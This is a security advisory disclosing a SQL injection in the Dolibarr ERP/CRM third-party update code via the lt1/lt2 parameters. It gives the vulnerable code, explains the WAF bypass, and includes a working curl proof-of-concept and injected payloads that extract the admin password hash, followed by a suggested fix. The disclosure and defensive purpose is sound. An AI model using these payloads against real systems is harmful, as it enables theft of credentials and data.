dolibarr/dolibarr
Affected
- introduced
0, fixed22.0.5(ecosystem)
Fixed versions
22.0.5
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-33944
Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter
Summary
A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated
directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without any escaping, type casting, or parameterized query binding.
An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all
business data.
Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.
### Details
Vulnerable code (societe/class/societe.class.php, line 1672):
$sql .= ",localtax1_value =".$this->localtax1_value;
The value comes from GETPOST('lt1', 'alpha') (societe/card.php, line 1135). The only sanitization applied is trim() at line 1528 — no (float) cast, no
$db->escape().
The alpha input filter strips HTML tags and double quotes but does not strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is
in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.
Why the WAF does not block this: Dolibarr's WAF (waf.inc.php) only checks SQL injection patterns in GET parameters, not POST. The POST-based lt1
parameter bypasses it entirely.
The same vulnerability exists for localtax2_value (parameter lt2) at line 1682.
Adjacent fields like localtax1_assuj are properly cast to (int), showing the developers were aware of injection risk but missed these fields.
### PoC
Steps to reproduce:
localtax1assuj_value=1 - lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1) Verification: echo -n "admin123" | md5sum → 0192023a7bbd73250516f069df18b500 (matches exfiltrated hash).
Figure 1 — Notes tab before exploitation (Private Note field is empty):
<img width="1372" height="822" alt="Notes tab after exploitation — admin password hash exfiltrated"
src="https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841" />
Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:
<img width="1095" height="732" alt="22" src="https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899" />
Figure 3 — Burp Suite Repeater: request body with injected `localtax1assuj_value=1` and `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`:
<img width="1095" height="727" alt="33" src="https://github.com/user-attachments/assets/e82e14fc-d8b4-46e7-a507-d11689e254d3" />
Figure 4 — Notes tab after exploitation: Private Note now contains `0192023a7bbd73250516f069df18b500` (MD5 hash of admin password "admin123"):
<img width="1381" height="819" alt="1" src="https://github.com/user-attachments/assets/ca77a120-21b9-4574-b37f-4347930f27aa" />
curl PoC:
curl -b cookies.txt \
--data-urlencode "action=update" \
--data-urlencode "token=CSRF_TOKEN" \
--data-urlencode "socid=1" \
--data-urlencode "name=TestCompany" \
--data-urlencode "status=1" \
--data-urlencode "localtax1assuj_value=1" \
--data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \
--data-urlencode "client=1" \
--data-urlencode "typent_id=0" \
"http://TARGET/societe/card.php?socid=1"
Additional proof — arithmetic evaluation:
Sending lt1=3+4 results in localtax1_value=7.0000 stored in the database. The expression was evaluated by the SQL engine, confirming injection.
Additional proof — user count exfiltration:
Sending lt1=(SELECT COUNT(*) FROM llx_user) results in localtax1_value=1.0000.
### Impact
An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can:
### Suggested Fix
// societe.class.php, line 1528 — add (float) cast:
$this->localtax1_value = (float) price2num(trim($this->localtax1_value));
// societe.class.php, line 1672 — add (float) cast:
$sql .= ",localtax1_value =".((float) $this->localtax1_value);
Apply same fix for localtax2_value (lines 1529, 1682).
### Credit
Please credit this finding to: Grzegorz Tworek (F3715H) sec4check ([email protected])
High Basis: The source's own band: HIGH
0, fixed 22.0.5 (ecosystem)22.0.5
The export has no generic command for this ecosystem.
23.0.0, fixed 23.0.2 (ecosystem)23.0.2
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0